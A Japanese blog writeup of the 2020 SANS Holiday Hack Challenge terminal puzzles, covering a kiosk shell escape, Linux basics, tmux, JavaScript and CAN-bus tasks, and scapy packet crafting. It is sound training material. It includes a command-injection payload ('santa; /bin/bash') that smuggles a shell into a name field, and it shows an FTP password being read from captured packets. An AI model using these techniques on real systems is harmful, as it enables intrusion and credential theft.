好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2020 SANS Holiday Hack Challenge writeup [Terminals]

2020 SANS Holiday Hack Challenge ~ KringleCon 3 ~ のTerminal (Objective以外) のwriteupです。
イベントの紹介や他のchallengeのwriteupはこちらの記事へ。

tech.kusuwada.com

Kingle Kiosk (terminal)

command injectionがあるとのこと。このNameBadgeの機能が怪しかったので色々試してみた。

Enter your name (Please avoid special characters, they cause some weird errors)...`ls`
 ____________
< welcome.sh >
 ------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||

ほほう。
こんな感じで名前を入力するところにどうやらコマンドを送れるっぽい。

`cat welcome.sh`
 _________________________________________
/ #!/bin/bash declare -x LAST_ORDER       \
| LAST_ORDER='' #                         |
| https://bash.cyberciti.biz/guide/Menu_d |
| riven_scripts # A menu driven shell     |
| script sample template ##               |
| ---------------------------------- #    |
| Step #1: Define variables #             |
| ----------------------------------      |
| RED='\033[0;41;30m' STD='\033[0;0;39m'  |
| # ---------------------------------- #  |
| Step #2: User defined function #        |
| ----------------------------------      |
| pause() { read -r -p "Press [Enter] key |
| to continue..." fackEnterKey } one() {  |
| cat /opt/castlemap.txt pause } two() {  |
| more /opt/coc.md pause } three() { cat  |
| /opt/directory.txt pause } four() {     |
| read -r -p "Enter your name (Please     |
| avoid special characters, they cause    |
| some weird errors)..." name if [ -z     |
| "$name" ]; then name="Santa\'s Little   |
| Helper" fi bash -c "/usr/games/cowsay   |
| -f /opt/reindeer.cow $name" pause }     |
| surprise(){ cat /opt/plant.txt echo     |
| "Sleeping for 10 seconds.." && sleep 10 |
| } # function to display menus           |
| show_menus() { clear echo               |
| "~~~~~~~~~~~~~~~~~~~~~~~~~~~~" echo "   |
| Welcome to the North Pole!" echo        |
| "~~~~~~~~~~~~~~~~~~~~~~~~~~~~" echo "1. |
| Map" echo "2. Code of Conduct and Terms |
| of Use" echo "3. Directory" echo "4.    |
| Print Name Badge" echo "5. Exit" echo   |
| echo echo "Please select an item from   |
| the menu by entering a single number."  |
| echo "Anything else might have ...      |
| unintended consequences." echo } # read |
| input from the keyboard and take a      |
| action read_options() { local choice    |
| read -r -p "Enter choice [1 - 5] "      |
| choice case $choice in 1*) one ;; 2*)   |
| two ;; 3*) three ;; 4*) four $choice ;; |
| 5) exit 0 ;; plant) surprise c;; *)     |
| echo -e "${RED}Error...${STD}" && sleep |
| 2 ;; esac } #                           |
| --------------------------------------- |
| ------- # Step #3: Trap CTRL+C, CTRL+Z  |
/ #!/bin/bash declare -x LAST_ORDER       \
| and quit singles #                      |
| --------------------------------------- |
| ------- trap '' SIGINT SIGQUIT SIGTSTP  |
| # ----------------------------------- # |
| Step #4: Show opening message once #    |
| ------------------------------------    |
| echo echo Welcome to our castle, we\'re |
| so glad to have you with us! echo Come  |
| and browse the kiosk\; though our       |
| app\'s a bit suspicious. echo Poke      |
| around, try running bash, please try to |
| come discover, echo Need our devs who   |
| made our app pull/patch to help         |
| recover? echo echo "Escape the menu by  |
| launching /bin/bash" echo echo read -n  |
| 1 -r -s -p $'Press enter to             |
| continue...' clear #                    |
| ----------------------------------- #   |
| Step #5: Main logic - infinite loop #   |
| ------------------------------------    |
| while true; do show_menus read_options  |
\ done                                    /
 -----------------------------------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||

関係ありそうなのを出力してみる。

`cat /opt/plant.txt`
 ________________________________________
/ Hi, my name is Jason the Plant! ( U \| \
\ ) __|/ \ / \__/ ejm96                  /
 ----------------------------------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||

他、バッククォートで囲んでコマンドを入力する作戦でいろいろ試してみるけどうまく行かない。
ここでヒントがあったのでヒントを見てみる。

There's probably some kind of command injection vulnerability in the menu terminal.

ここのヒントページのリンクでも、そんなに難しそうなことはしていない。
入口付近の問題だし、このヒントにあることしかやらないで解けそうと踏んで、バッククォートで囲むのをやめてみる。
更に;でコマンド区切って、他のコマンドを実行。

Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...santa; /bin/bash
 ____
< santa >
 ----
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
   ___                                                      _    
  / __|   _  _     __      __      ___     ___     ___     | |   
  \__ \  | +| |   / _|    / _|    / -_)   (_-<    (_-<     |_|   
  |___/   \_,_|   \__|_   \__|_   \___|   /__/_   /__/_   _(_)_  
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ | 
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
Type 'exit' to return to the menu.

これで良かったんや…。

Linux Primer (terminal)

The North Pole 🍭 Lollipop Maker: All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭's will appear in the green bar below. Run the command "hintme" to receive a hint.

Type "yes" to begin: yes

Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!

$ ls
HELP  munchkin_19315479765589239  workshop

Now find the munchkin inside the munchkin.

$ cat munchkin_19315479765589239 
munchkin_24187022596776786

Great, now remove the munchkin in your home directory.

$ rm munchkin_19315479765589239 

Print the present working directory using a command.

$ pwd
/home/elf

Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!

$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .munchkin_5074624024543078  .profile  HELP  workshop

Excellent, now find the munchkin in your command history.

$ history
    1  echo munchkin_9394554126440791
    2  ls
    3  cat munchkin_19315479765589239 
    4  rm munchkin_19315479765589239 
    5  pwd
    6  ls -a
    7  history

Find the munchkin in your environment variables.

$ export

Next, head into the workshop.

$ cd workshop/

A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.

$ grep -ri munchkin
toolbox_191.txt:mUnChKin.4056180441832623

A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.

$ hintme

よくわからなかったのでヒントを貰った

Make the binary executable by running "chmod 755 ". Each number (7,5,5) represents (owner,group,everyone) and each is the sum of the desired permissions (4=read, 2=write, 1=executable). To start the program from the current directory run "./lollipop_engine". A backup of this file is at /opt/lollipop_engine.

$ cd /opt
$ cp lollipop_engine ~
$ cd ~
$ chmod 755 lollipop_engine
$ ./lollipop_engine 
munchkin.898906189498077

Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

$ cd /home/elf/workshop/electrical/
$ ls
blown_fuse0
$ mv blown_fuse0 fuse0

Now, make a symbolic link (symlink) named fuse1 that points to fuse0

$ ln -s ./fuse0 ./fuse1

Make a copy of fuse1 named fuse2.

$ cp fuse1 fuse2

We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.

$ vi fuse2

MUNCHKIN_REPELLENT を insert して escキー、:wq で保存終了。

Find the munchkin somewhere in /opt/munchkin_den.

$ cd /opt/munchkin_den/
$ find munchkin .

Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.

$ find * -user munchkin

Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.

$ find * -size -110k -size +108k
plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724

List running processes to find another munchkin.

$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init         1  0.0  0.0  65320 21156 pts/0    Ss+  00:47   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf      50037  0.3  0.0  84316 26236 pts/2    S+   01:18   0:00 /usr/bin/python3 /14516_munchkin
elf      51952  0.0  0.0  36180  3336 pts/3    R+   01:19   0:00 ps -aux

The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.

$ netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN 

The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.

$ curl http://0.0.0.0:54321
munchkin.73180338045875

ncとか使えなかったのでcurlしたけどあってたのかな?

Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.

$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init         1  0.0  0.0  65320 21156 pts/0    Ss+  00:47   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf       3485  0.0  0.0  36180  3360 pts/3    R+   01:29   0:00 ps -aux
elf      50037  0.0  0.0 160448 26892 pts/2    S+   01:18   0:00 /usr/bin/python3 /14516_munchkin
$ kill 50037

Clear!!

Unescape Tmux

Can you help me?

I was playing with my birdie (she's a Green Cheek!) in something called tmux, then I did something and it disappeared!

Can you help me find her? We were so attached!!

この問題に関するヒントを得ていた。

There's a handy tmux reference available at https://tmuxcheatsheet.com/!

どうやらtmuxという画面分割機能のチャレンジのようだ。
多分隠れてしまった鳥さんは、今見えていないsessionにいると踏んで、セッション一覧を表示、最新のセッションに切り替え、をやってみたらでてきた。

$ tmux ls
0: 1 windows (created Sat Dec 12 20:40:49 2020) [80x24]
$ tmux a
...........................;ccclooodkOkok0OOx:..''''
.........................':cccllodxxkkkOkxdxx;....''
........................,cccllooddxkOOOkOxoo'.....''
......................';:cclllccllodO0Okkkx;...'''..
.....................:llollclclccccclokc::'.........
...................;ddollllllllcccccccl;............
..................:xdooddoooolclllllolld;...........
.................'xxoodxxxdoooooooxkdooox'..........
.................,xxkxdxkkxxdddddddxkkxdxl....'.....
.................'xOkooddxkkxxdddxxkkxxxxx'.......'.
..................oOkddxkkkkdxxdddxxxxxxdd:......'.'
.................';k0xxkxxOxdddddoodxdxkkx:....'''''
................'',o0xdddxkxdxdodddddkkkxxc....'''''
................',,:OK0kkOOxddddxxxddxxkxd:'''''''''
.............',;:cccdKXKOkkOOxkxdxxxxxxkOx;'''''''''
...........:oxdddxkkxOXXOxxkxxkkkkkkkxxdxx,,''''''''
.......''':c:,..'coodOO00OOOO00kxOkK0KkO0d,,''''''''
...;cllc::clddooddOkxoccccccloddxxO0KK0KKOc:;,''''''
'ldolcc:::lldxkOxkO000OOOOkkxxdddxoooooooooodxxxddol
xxlcc:::::xolldddxOOdddxxxkkOOO0000000xkOkkxddoooooo
lo:::cccc::ldoodooxd,;lxxkkO0OOOOOOOOOOOOOO000000000
locclccccccccldkxdkk:,;cdxkOKXXXKKKKKXXKk::::cllodxk
xxollllcccllcodkOkO0:,,,:dkOOKKXXXKKKXXKl,,'''''''''
xxkolllllllllodkO0KO;,,,;;lxO00KKXKKKKK0c;,,,,,,,,,,
,dxxxdoooollodxk0KOolc:::::cdO00KK00K000c;,,,,,,,,,;
..:xkOOkdoxxkOO0OxoooooolooodxOO00Ok0kk0oc:;;;;;;;;;
....:dkOddOO0OkdoolllllloooddxOOOOOkkkkOdllccccccccc
You found her! Thank you!!!

Yay!

Elf Code Challenge

Javascriptコードを書いて、妖精さんをゴールに導くゲーム。

Level 1
elf.moveLeft(6);
elf.moveUp(10);

Level 2

elf.moveLeft(6);
elf.pull_lever(elf.get_lever(0) + 2);
elf.moveLeft(4); 
elf.moveUp(10);

Level 3

for (let i = 0; i < 3; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveUp(1);

Level 4

コマンドは6こまで!行数は7行まで!
結構苦戦したけど、ヒントで教えてくれてた意味がやっとわかった。
突き当りの場合は、moveLeft(40)とかしててもそれ以上進みませんということだ。
ということで、下記のようなループ書くと、無駄に進むように命令されてても突き当りで止まってくれる。

for (let i = 0; i < 3; i++) {
  elf.moveLeft(3);
  elf.moveUp(11);
  elf.moveLeft(2);
  elf.moveDown(11);
}

Level 5

マンチキンが出てきた。数値とstringの混合配列が与えられれるから、数値のみにして教えてあげるといいらしい。

elf.moveUp(8);
elf.moveTo(munchkin[0])
var value = elf.ask_munch(0)
var answer = value.filter(elem => typeof elem === 'number')
elf.tell_munch(answer)
elf.moveUp(2);

Level 6

There are two paths here for you to choose. Choosing the lever may take more steps but might be easier to solve.

レバーを引いてマンチキンを落とす方を選択。

for (let i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i]);
}
elf.moveTo(lever[0]);
var value = elf.get_lever(0);
value.unshift("munchkins rule");
elf.pull_lever(value);
elf.moveDown(3);
elf.moveLeft(6);
elf.moveUp(2);

Level 7 Yeeter Swirl

About Follow the swirl being careful not to step on any traps (or get yeeted off the map).

Note elf.moveTo(object) has been disabled for this challenge.

Hint Use loops and an incrementing count to take the exact number of steps.

function myfunc(arrys) {
  var mysum = 0;
  for (let i = 0; i < arrys.length; i++) {
    for (let j = 0; j < (arrys[j]).length; j++) {
      mysum += (typeof arrys[i][j] === 'number') ? arrys[i][j] : 0;
    }
  }
  return mysum;
}
for (let i = 0; i < 8; i++) {
  if (i % 4 == 0) {
    elf.moveDown(i + 1);
  } else if (i % 4 == 1) {
    elf.moveLeft(i + 1);
  } else if (i % 4 == 2) {
    elf.moveUp(i + 1);
  } else if (i % 4 == 3) {
    elf.moveRight(i + 1);
  }
  elf.pull_lever(i);
}
elf.moveUp(2);
elf.moveLeft(4);
elf.tell_munch(myfunc);
elf.moveUp(1);

なんかこのプログラム不安定だったっぽいんだけど(myfunc)、通ったからヨシ!

Level 8 For Loop Finale

About

Follow the zig-zag being careful not to step on any traps (or get yeeted off the map).

Note

The elf.moveTo(object) function has been disabled for this challenge.

Hint

Use loops and track incrementing values to take the exact number of steps.

function myfunc(json_data) {
  for (let i = 0; i < json_data.length; i++) {
    var keys = Object.keys(json_data[i])
    for (let j = 0; j < keys.length; j++) {
      if (json_data[i][keys[j]] === 'lollipop') {
        return keys[j];
      }
    }
  }
}
var total = 0;
for (let i = 0; i < 6; i++) {
    if (i%2 == 0) {
        elf.moveRight(2*i+1);
    } else {
        elf.moveLeft(2*i+1);
    }
    total += elf.get_lever(i);
    elf.pull_lever(total);
    elf.moveUp(2);
}
elf.tell_munch(myfunc);
elf.moveRight(11);

なんかもっとシュッと書けるやり方がある気がするんだけど、 JSON.parsefor inループが通らなかったりでわちゃわちゃしてしまった。

33.6kbps

f:id:kusuwada:20210111065801p:plain

"Put it in the cloud," they said...

"It'll be great," they said...

All the lights on the Christmas trees throughout the castle are controlled through a remote server.

We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken!

Fortunately, I speak dial-up. However, I can't quite remember the handshake sequence.

Maybe you can help me out? The phone number is 756-8347; you can use this blue phone.

キッチンのFitzy Shortstackさんに話しかけると、こんなポエムとともに音声ファイルのリンクが送られます。

ファイルはDial_up_modem_noises.oggで、ピポパポパパパパポピ、ピーーー、ガーーーーー!系の音が。ダイアルアップ接続の時に鳴るあれだ。
756-8347にとりあえずかけてみます。...何も起こらずにすぐ切れてしまう。

ずっと音声をOffにして遊んでいて気づかなかったのだけど、このメモ書き、ahhhhとか描いてあるところを押すとなんか音(声?)が出る。"handshake"がわからなくなったとエルフが行っていることから、ピポパ音でダイアルして、その後のハンドシェイク部分の音をこのメモ書きをポチポチして、handshakeを再現してあげれば良さそう。
(元のDialupの音声データと、このメモ書きを押して鳴る音が結構違うので、本当に大丈夫か?という気持ち)

ヒント無しでタイミングと順番を当てるのが厳しかったので、Chrome開発者ツールでソースを見てみる。
dialup.kringlecastle.com/ > dialup.kringlecatsle.com > ?challenge

f:id:kusuwada:20210110062907p:plain

ほうほう!
さらに、dialup.jsを読んでみると、押す順番と順番と大体のタイミングがわかる。

...
btnrespCrEsCl.addEventListener('click', () => {
  if (phase === 3) {
    phase = 4;
    playPhase();
    secret += '3j2jc'
  } else {
    phase = 0;
    playPhase();
  }
  sfx.resp_cr_es_cl.play();
});
ack.addEventListener('click', () => {
  if (phase === 4) {
    phase = 5;
    playPhase();
    secret += '329dz'
  } else {
    phase = 0;
    playPhase();
  }
  sfx.ack.play();
});
...

結局htmlに書いてある順番に押せば良いことがわかったので、あとは適当にタイミングを見計らって

baa DEE brrrr
aaah
WEWEWEwrwrrwrr
beDURRdunditty
*SCHHHRRHHRTHRTR*

の順番に押せばOK!(タイミングを見計らって、が結構難しくて、5~6回トライしたと思う)

CAN-Bus Investigation (terminal)

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX00OkxxddcddxxkOO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOxoc:c.;cccccc.ccccc:.:c:ldxOXMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMXkoc',ccccc:.:ccccc.ccccc.;cccc,'::cdOXMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM0xc:cccc,':cccc::ccccccccccccccc:.;cccccc:lxXMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNkl,',:ccccc;;ccccccccccccccccccccc::cccccc:,',:lOWMMMMMMMMMMMMM
MMMMMMMMMMMMNxccccc;';cccccccccccccccccccccccccccccccccc;':cccccckWMMMMMMMMMMM
MMMMMMMMMMNdcccccc:..;cccccccccccccccccccccccccccccccccccccccccccc:kWMMMMMMMMM
MMMMMMMMM0c,,,,:cccc;..;cccccccccccccccccccccccccccccccccccccc:,,,;:lKMMMMMMMM
MMMMMMMWd:cccc;:cccccc;..,cccccccccccccccccccccccccccccccccccc;:cccccckMMMMMMM
MMMMMMNlcccccccccccccccc:..,:ccccccccccccccccccccccccccccccccccccccccc:oWMMMMM
MMMMMNc,,,,,:ccccccccccccc:..':cccccccccccccccccccccccccccccccccc:,,,,,;oWMMMM
MMMMWoccccc::ccccccccccccccc:'.':cccccccccccccccccccccccccccccccc::ccccccxMMMM
MMMMkccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccccc:0MMM
MMMN::cccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccc:cWMM
MMMk,,,,,:cccccccccccccccccccccccc:,..;ccccccccccccccccccccccccccccc:,,,,,;0MM
MMMlccccccccccccccccccccccccccccccccc,.;cccccccccccccccccccccccccccccccccccdMM
MMW:ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccclMM
MMWOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Welcome to the CAN bus terminal challenge!
In your home folder, there's a CAN bus capture from Santa's sleigh. Some of
the data has been cleaned up, so don't worry - it isn't too noisy. What you
will see is a record of the engine idling up and down. Also in the data are
a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?
We'd like to encode another key mechanism.
Find the decimal portion of the timestamp of the UNLOCK code in candump.log
and submit it to ./runtoanswer!  (e.g., if the timestamp is 123456.112233,
please submit 112233)
$ ls
candump.log  runtoanswer

2つファイルが有る。logfileの方を確認。

$ cat candump.log 
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
(1608926660.826327) vcan0 244#00000001A6
...

こんなのがずらーっと出ていた。vcan0 とかでググるとこんなページを発見。

シミュレーション環境でCAN通信を試す | Shooting!!!
CAN通信!それっぽい!カーセキュリティ関係の話みたい!初体験だ!ゎ‹ゎ‹(๑´ㅂ`๑)ゎ‹ゎ‹

Linux/Documentation/networking/can.txt
このあたりのドキュメントとヒントを眺めて察するに、244,188,みたいなやつはコマンドのナンバーっぽい。たくさんあるものをフィルタすると2種類残ったので、これがLOCKとUNLOCKコマンドでしょう。

$ cat candump.log | grep -v 244 | grep -v 188
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

真ん中のがUNLOCK。

$ ./runtoanswer 
There are two LOCK codes and one UNLOCK code in the log.  What is the decimal portion of the UNLOCK timestamp?
(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.
> 122520
Your answer: 122520
Checking....
Your answer is correct!

🙌

Scapy Prepper (terminal)

╔════════════════════════════════════════════════════════════════╗
║  ___ ___ ___ ___ ___ _  _ _____   ___  _   ___ _  _____ _____  ║
║ | _ \ _ \ __/ __| __| \| |_   _| | _ \/_\ / __| |/ / __|_   _| ║
║ |  _/   / _|\__ \ _|| .` | | |   |  _/ _ \ (__| ' <| _|  | |   ║
║ |_| |_|_\___|___/___|_|\_| |_|   |_|/_/ \_\___|_|\_\___| |_|   ║
║                ___                                             ║
║               | _ \_ _ ___ _ __ _ __  ___ _ _                  ║
║               |  _/ '_/ -_) '_ \ '_ \/ -_) '_|                 ║
║               |_| |_| \___| .__/ .__/\___|_|                   ║
║                           |_|  |_|                             ║
║                (Packets prepared with scapy)                   ║
╚════════════════════════════════════════════════════════════════╝
Type "yes" to begin. 
╔════════════════════════════════════════════════════════════════╗
║ HELP MENU:                                                     ║
╠════════════════════════════════════════════════════════════════╣
║ 'help()' prints the present packet scapy help.                 ║
║ 'help_menu()' prints the present packet scapy help.            ║
║ 'task.get()' prints the current task to be solved.             ║
║ 'task.task()' prints the current task to be solved.            ║
║ 'task.help()' prints help on how to complete your task         ║
║ 'task.submit(answer)' submit an answer to the current task     ║
║ 'task.answered()' print through all successfully answered.     ║
╚════════════════════════════════════════════════════════════════╝
>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help prepar ing present packets for shipment.
Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.

Emacsだ!ぜんぜんわからん!と思ったけど、1問目は簡単そう。

>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.

>>> task.help()
For example, task.submit(sendp) would submit the sendp scapy class used to send packets at layer 2 of the OSI model.
Scapy classes can be found at ( https://scapy.readthedocs.io/en/latest/api/scapy.sendrecv.html )

このヒントページでsendpを調べると、layer2の通信らしいので、その上にあるlayer3のsendを送ってみる。

>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.
Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

さっきのURLのページから適切な関数を探せば良いことがわかったので、探して回答していく。

>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))

3択。

>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.
Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

documentからpcapで検索して探しだした。

>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the cho ices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()

また3択。

>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.
Submit only the first packet found in UDP_PACKETS.

ん?

>>> task.help()
You can specify an item from a list using "list_var_name[num]" where "num" is the item number you want starting at 0.

なるほどな?

>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.
Submit only the entire TCP layer of the second packet in TCP_PACKETS.

これは簡単。さっきの応用…!

>>> task.submit(TCP_PACKETS[1])
Incorrect!
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
If you had a packet stored in a variable named pkt, you could access its IP layer using "pkt [IP]"

と思ったらそんなに単純なものではないらしい。
めっちゃ試行錯誤して、ヒントの文字列を読み解いたらこうだった。

>>> task.submit(TCP_PACKETS[1][TCP])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]
Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet

調べるとこんな感じで良かった。本当はdst=UDP_PACKETS[0][UDP].dstって書こうと思ったけど途中で送っちゃったら通った。

>>> task.submit(IP(src="127.0.0.1",dst=UDP_PACKETS))
Correct! You can change ALL scapy packet attributes using this method.
Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

>>> task.help()
You can access each packets Raw payload using TCP_PACKETS[0][Raw].load only incrementing 0 each packet. (if that particular packet has a payload)

ということで、TCP_PACKETS[0][Raw].loadみたいにすると、RAWメッセージが見れるらしい。無いとエラーになるけどTCP_PACKETS[3]から存在していた。

>>> TCP_PACKETS[3][Raw].load
b'220 North Pole FTP Server\r\n'
ここから配列をincrementした出力結果
b'USER alabaster\r'
b'331 Password required for alabaster.\r'
b'PASS echo\r\n'
b'230 User alabaster logged in.\r'

なんかコマンドっぽいけど、場所的にこれしか無い。

>>> task.submit('PASS echo')
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

🙌

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][I
CMP].chksum .

よし、だんだん慣れてきたぞ。

Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")

destinationが 127.0.0.1 っていっとるんやから3でしょ。

>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable
 to send or manipulate your created packet.
Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

調べると、IP(dst=xx,src=xx)/UPD(dport=xxx,sport=xxx)って感じで作れるらしい。

>>> task.submit(IP(dst="127.127.127.127")/UDP(dport=5000))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)
Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
>>> task.submit(IP(dst="127.2.3.4")/UDP(dport=53)/DNS(qd=DNSQR(qname="elveslove.santa")))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
task.submit(pkt)
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

ARP_PACKETSの中身を見てみます。

>>> ARP_PACKETS[0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hw
len=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 p
dst=192.168.0.1 |>>
>>> ARP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hw
len=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=1
92.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

2個だけある。
見比べてもわからないのでヒントを貰う。

>>> task.help()
The three fields in ARP_PACKETS[1][ARP] that are incorrect are op, hwsrc, and hwdst. A sampl
e ARP pcap can be referenced at https://www.cloudshark.org/captures/e4d6ea732135. You can ru
n the "reset_arp()" function to reset the ARP packets back to their original form.

なるほど?間違っているというレコードだけをもう一度見てみます。 op,hwsrc,hwdstが違うのね。[0]のpacketと見比べてみると、hwsrc,hwdstは先に出てきているsrc,dstと合わせてあげれば良さそう。更に、[0]のレコードのdstとhwdstのレコードから、この通信がブロードキャストで2個目は普通に通信っぽい事がわかる。

参考packetのurlを見てみると

f:id:kusuwada:20210111070033p:plain

1つ目が同じようにbroadcast,2つ目が相手先を指定した通信となっていて、infoのところにWho hasis atという文字列が見える。ドキュメントを探す前に勘で op="is-at"を入れたら合ってた。

>>> ARP_PACKETS[1].hwsrc="00:13:46:0b:22:ba"
>>> ARP_PACKETS[1].hwdst="00:16:ce:6e:8b:24"
>>> ARP_PACKETS[1].op="is-at"
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!

くりあー!

Speaker UNPrep (terminal)

door

Help us get into the Speaker Unpreparedness Room!

The door is controlled by ./door, but it needs a password! If you can figure out the password, it'll open the door right up!

Oh, and if you have extra time, maybe you can turn on the lights with ./lights activate the vending machines with ./vending-machines? Those are a little trickier, they have configuration files, but it'd help us a lot! (You can do one now and come back to do the others later if you want) We copied edit-able versions of everything into the ./lab/ folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react.

